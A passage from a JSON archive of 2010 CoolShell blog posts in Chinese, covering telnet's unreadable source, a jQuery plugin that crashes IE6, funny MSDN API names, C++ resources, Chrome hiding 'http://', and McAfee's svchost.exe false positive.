演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2507.html\"><img alt=\"2000年的iMac和2010年的iPhone\" height=\"150\" src=\"../wp-content/uploads/2010/06/5176XS40F9L._SL500_AA300_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2507.html\">2000年的iMac和2010年的iPhone</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1283.html\"><img alt=\"Linux基金会的广告\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1283.html\">Linux基金会的广告</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2806.html\"><img alt=\"程序员版的凡客\" height=\"150\" src=\"../wp-content/uploads/2010/08/coolshell.programmer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2806.html\">程序员版的凡客</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/671.html\"><img alt=\"Python调用C语言函数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/671.html\">Python调用C语言函数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1525.html\"><img alt=\"GDB 7.0 发布\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1525.html\">GDB 7.0 发布</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2296.html\">Google居然在阻止人们自杀？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-14 telnet的一个Bug.html",
    "content": "<html><body><p>下面这个链接是Linux分发包Ubuntu的关于Telnet命令的Man Page，</p>\n<p style=\"text-align: center;\"><a href=\"http://manpages.ubuntu.com/manpages/karmic/man1/telnet-ssl.1.html\" target=\"_blank\">http://manpages.ubuntu.com/manpages/karmic/man1/telnet-ssl.1.html</a></p>\n<p style=\"text-align: left;\">打开这个Man Page，把页面拉到最后一行，你会看到下面这个BUG（“BUGS：源代码不易读！”）</p>\n<pre>     The source code is not comprehensible.</pre>\n<p>Telnet的源代码在这里：<a href=\"http://packages.ubuntu.com/source/dapper/netkit-telnet\" target=\"_blank\">http://packages.ubuntu.com/source/dapper/netkit-telnet</a>，下载下来一看，还真是不易读，简单地看了一下代码，发现至少有这样一些问题：</p>\n<ul>\n<li>空格和Tab键混用的缩进，导致很多代码在没有缩进。</li>\n<li>大量的#if #else以及大量的各种预编译宏。以及一些怪异的宏。如：</li>\n</ul>\n<p style=\"padding-left: 60px;\">#ifndef B19200<br/>\n#define B19200 B9600<br/>\n#endif</p>\n<p style=\"padding-left: 60px;\">#ifndef B38400<br/>\n#define B38400 B19200<br/>\n#endif</p>\n<ul>\n<li>什么叫在C中写C++，第一次见。（在terminal.cc中间居然出现了几个class）</li>\n<li>变量命名很不直观，大量的old, tmp, c1, c2, s1, s2, s3 等学校里用的变量名，只有作者自己知道是什么意思。函数命令的风格也不一致，编程风格也很不一致，基本没有编程规范。</li>\n</ul>\n<p>的确很不易读。不管怎么样，很欣赏在man page中把源码的易读性列为BUG的这种作法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4826.html\"><img alt=\"GNU/Linux下有多少是GNU的？\" height=\"150\" src=\"../wp-content/uploads/2011/06/GNUTotalSplit-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4826.html\">GNU/Linux下有多少是GNU的？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1644.html\"><img alt=\"装完Ubuntu 9.10后要干的事\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1644.html\">装完Ubuntu 9.10后要干的事</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1097.html\"><img alt=\"Ksplice Uptrack — Ubuntu更新不用重启\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1097.html\">Ksplice Uptrack — Ubuntu更新不用重启</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/501.html\"><img alt=\"Ubuntu的并行启动\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/501.html\">Ubuntu的并行启动</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/14.html\"><img alt=\"Java书籍Top 10\" height=\"150\" src=\"../wp-content/uploads/2009/03/zcover-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/14.html\">Java书籍Top 10</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5075.html\"><img alt=\"你确信你了解时间吗？\" height=\"150\" src=\"../wp-content/uploads/2011/07/Time-changes-in-year-1927-for-China-–-ShanghaiS-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5075.html\">你确信你了解时间吗？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2352.html\">telnet的一个Bug</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-14 一个jQuery的插件.html",
    "content": "<html><body><p>jQuery这个强大的玩意我就不多说了，不知道可以上网搜搜看。IE6我也不多说了，这可能是史上骂名最多的一个浏览器，网上有N多的声讨IE6的文章，你也可以参看本站的《<a href=\"https://coolshell.cn/articles/1817.html\" rel=\"bookmark\">9个最常见IE的Bug及其fix</a>》和《<a href=\"https://coolshell.cn/articles/1245.html\" rel=\"bookmark\">IE的CSS相关的BUG</a>》，如果你今天还在用IE6，或是IE类浏览器，那请让我小小的BS你一下。</p>\n<p>这个jQuery的Plugin可能是有史以来所有plugin中最有个性的一个，因为这个plugin什么也不干，其会用户的IE6版的浏览器直接Crash掉。这个plugin叫jQuery Crash，其网页链接在下面，是一个四星级的插件，仅仅435个字节。</p>\n<p style=\"text-align: center;\"><a href=\"http://plugins.jquery.com/project/crash\" target=\"_blank\">http://plugins.jquery.com/project/crash</a></p>\n<p style=\"text-align: left;\">其是这样介绍自己的，有脏话，我就不翻译了。</p>\n<blockquote><p>A jQuery plugin for crashing IE6. That’ll teach those motherf!%@*#s to upgrade their s#*t.</p></blockquote>\n<p>其它，让IE系例的浏览器挂掉，并不需要Javascript，你可以尝试点击下面这个页面，这是一个纯HTML的页面，没有任何的CSS，或是JS的东西，只有HTML。请小心打开（如果在Firefox中打开也可能会挂，Chrome中没事）</p>\n<p style=\"text-align: center;\"><a href=\"http://www.gregmerideth.net/html/iecrash.html\" target=\"_blank\">http://www.gregmerideth.net/html/iecrash.html</a></p>\n<p>这个纯HTML的来源是本来是作者写了一个程序生成了一个N层嵌套的表格，结果在IE5中导致了IE5不响应直到Crash并使用了100%的CPU资源，这么多年过去了，还是老样子，在我的dual-core+IE7上，也是一样，占了50%的CPU，而且还有很高的内核使用，最后只能把进程给kill了。BT啊，纯HTML都会让IE这样。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7186.html\"><img alt=\"做个环保主义的程序员\" height=\"150\" src=\"../wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4914.html\"><img alt=\"新浪微博的XSS攻击\" height=\"150\" src=\"../wp-content/uploads/2011/06/sina_xss01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4914.html\">新浪微博的XSS攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4795.html\"><img alt=\"开源中最好的Web开发的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4795.html\">开源中最好的Web开发的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3921.html\"><img alt=\"中国仍是IE6的重灾区\" height=\"150\" src=\"../wp-content/uploads/2011/03/IE6-Countdown-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3921.html\">中国仍是IE6的重灾区</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2357.html\">一个jQuery的插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-19 MSDN中的两个命名.html",
    "content": "<html><body><p>第一个叫：<strong>DestroyPhysicalMonitor</strong></p>\n<p><a href=\"http://msdn.microsoft.com/en-us/library/dd692936(VS.85).aspx\">http://msdn.microsoft.com/en-us/library/dd692936(VS.85).aspx</a></p>\n<p>在你的程序中调用这个函数，不知道你敢不敢在运行程序。呵呵。</p>\n<p>第二个叫：<strong>INITCOMMONCONTROLSEX</strong> –</p>\n<p><a href=\"http://msdn.microsoft.com/en-us/library/bb775507(VS.85).aspx\">http://msdn.microsoft.com/en-us/library/bb775507(VS.85).aspx</a></p>\n<p>Initialize Common Control Sex ??? 真是淫者见淫啊。呵呵</p>\n<p>不知道还有没有其它有趣的？欢迎大家跟贴。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/591.html\"><img alt=\"免费电子书：Ruby Complete\" height=\"150\" src=\"../wp-content/uploads/2009/04/book-of-ruby-complete-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/591.html\">免费电子书：Ruby Complete</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2184.html\"><img alt=\"BT工作原理演示\" height=\"150\" src=\"../wp-content/uploads/2010/03/bt_js_demo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2184.html\">BT工作原理演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4458.html\"><img alt=\"BT雷人的程序语言（大全）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4458.html\">BT雷人的程序语言（大全）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2363.html\">MSDN中的两个命名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-19 两个C++的资源.html",
    "content": "<html><body><p>第一个是一个C++第三方类库的A-Z：（<a href=\"http://www.trumphurst.com/cpplibs/cpplibs.php\" target=\"_blank\">http://www.trumphurst.com/cpplibs/cpplibs.php</a>）其中包含了：</p>\n<ul>\n<li>开源的C++的第三方类库列表</li>\n<li>商业的C++的第三方类库列表</li>\n<li>一些经典的C++的随书源码</li>\n<li>一些C++相关的工具</li>\n</ul>\n<p>不过，这个网站好像最新更新是在2008年。</p>\n<p>第二个是Boost C++的一个教程：（<a href=\"http://en.highscore.de/cpp/boost/\" target=\"_blank\">http://en.highscore.de/cpp/boost/</a>）</p>\n<ul>\n<li><a href=\"http://en.highscore.de/cpp/boost/introduction.html\">Chapter 1: Introduction</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/smartpointers.html\">Chapter 2: Smart Pointers</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/functionobjects.html\">Chapter 3: Function Objects</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/eventhandling.html\">Chapter 4: Event Handling</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/stringhandling.html\">Chapter 5: String Handling</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/multithreading.html\">Chapter 6: Multithreading</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/asio.html\">Chapter 7: Asynchronous Input and Output</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/interprocesscommunication.html\">Chapter 8: Interprocess Communication</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/filesystem.html\">Chapter 9: Filesystem</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/datetime.html\">Chapter 10: Date and Time</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/serialization.html\">Chapter 11: Serialization</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/parser.html\">Chapter 12: Parser</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/containers.html\">Chapter 13: Containers</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/datastructures.html\">Chapter 14: Data Structures</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/errorhandling.html\">Chapter 15: Error Handling</a></li>\n<li><a href=\"http://en.highscore.de/cpp/boost/castoperators.html\">Chapter 16: Cast Operators</a></li>\n</ul>\n<p>这个教程可能是写得比较不错的了，不过是英文的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2365.html\">两个C++的资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-22 谷歌Chrome取消”http__”.html",
    "content": "<html><body><p>谷歌下一个版本的Chrome浏览器软件将缺少一个在近20年来一直是浏览器的一个特点的功能：在地址栏中的“http://”。目前开发人员版本的Chrome浏览器已经做了这种改变。这个变化虽然看起来很小，但是，已经在Chrome网站引起了程序员们很大的争议。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/04/URL-BAR.png\"><img alt=\"\" class=\"aligncenter size-full wp-image-2373\" height=\"183\" src=\"../wp-content/uploads/2010/04/URL-BAR.png\" title=\"Google Chrome 取消 http://\" width=\"343\"/></a></p>\n<p>在Google Chrome的开发站点上，又有了一个很热的BUG——<a href=\"http://code.google.com/p/chromium/issues/detail?id=41467\" target=\"_blank\">Issue  41467</a>（上一次的一热议的BUG是的《<a href=\"https://coolshell.cn/articles/1781.html\" rel=\"bookmark\" target=\"_blank\">Go语言更名Issue 9</a>》），这个BUG目前已被关闭。不过在其它地方还在热议中，如：<a href=\"http://www.reddit.com/r/programming/comments/bt0oh/issue_41467_url_bar_no_longer_shows_http/\" target=\"_blank\">Reddit.com</a>。基本上来说，90%以上的程序员反对的，他们希望Google的Chrome可以给一个设置关闭或打开这一功能。</p>\n<p>一些程序员觉得这是违反了RFC，并且觉得这是在向End User传播一种很不好的东西，那就是网址可以不用http://，这样一来会给程序员增加很多麻烦，比如：他们的程序无法使用http://这一关键字来检查用户的输出，等等。</p>\n<p>iPhone浏览器的也是这样的， 不过当你把光标放到地址栏中，其会显示http://，广大程序员希望Chrome也实现这一方案。然而，<a href=\"http://code.google.com/p/chromium/issues/detail?id=41467\" target=\"_blank\">Issue  41467</a>目前的状态是“WontFix”，呵呵。</p>\n<p>有人说，如果你在地址栏中直接输入网址，没有协议前缀，默认就是http://，Google用的就是这个特性，然后，你可以试试在地址栏中输入“<a href=\"ftp://ftp.gnu.org/gnu\" rel=\"nofollow\">ftp.gnu.org/gnu</a>”，你会发现，自动加入的不是http://而是ftp://，呵呵。</p>\n<p>有人说，既然你要省，不如也把www.和后面的.com加上/也省了，因为这些都是默认的嘛。直接打google就OK了。Chrome开发团队说，没有www.和.com/只能算是一个主机名，不能算是DNS域名。呵呵。</p>\n<p>还有人说，搞这种隐藏的最恶心的就是Windows，隐藏文件后缀名，隐藏系统文件，太扯了，于是，像sexy_girls.jpg.exe，huge-tits.jpg.src这样玩意儿让某些电脑知识薄弱意志不坚定的人深受其害。</p>\n<p>如果有空，请留下你的观点。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19840.html\"><img alt=\"HTTP的前世今生\" height=\"150\" src=\"../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19840.html\">HTTP的前世今生</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2367.html\">谷歌Chrome取消”http://”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-4-23 McAfee误杀svchost.exe.html",
    "content": "<html><body><p>这两天，杀毒软件又出事了。还记得2007年5月，那次是Norton把简体中文Windows下的netapi32.dll 和 lsasrv.dll。最近的一次是，2008年11月，AVG把user32.dll给干掉了。</p>\n<p>这次是McAfee的5958版病毒库，导致McAfee误杀了Windows XP SP3下的svchost.exe，这最终导致了Windows不断地重复启动，据说有数十万PC成了小白鼠。简单地到Twitter和各国外技术社区看看，真是受灾严重啊。</p>\n<p>下面是出错信息：</p>\n<pre>The file C:WINDOWS\\system32\\svchost.exe contains the W32/Wecorl.a Virus.\nUndetermined clean error, OAS denied access and continued.\nDetected using Scan engine version 5400.1158 DAT version 5958.0000.</pre>\n<p>其实，可能大家都误解了，McAfee把svchost.exe识别为一个恶意程序，我觉得这是一种“实事求是”的态度啊，svchost.exe难道不是Windows下的万恶之源吗？多少年来，svchost.exe成为了多少病毒，木马和流氓程序的温床，这么多年过去了，Windows用户们默默地承受着svchost.exe所带来的痛苦，经过这么长的时间，只有McAfee不惧M$的淫威第一个站出来把svchost.exe揪出来办了，这是一种什么样的精神啊……<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1528.html\"><img alt=\"图片搜索引擎优化Checklist\" height=\"150\" src=\"../wp-content/uploads/2009/10/seo-cartoon-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1528.html\">图片搜索引擎优化Checklist</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4605.html\"><img alt=\"Amazon的书为什么卖到了$2000万\" height=\"150\" src=\"../wp-content/uploads/2011/04/lawrence_1-150x150.png\" width=\"150\"/></a><a 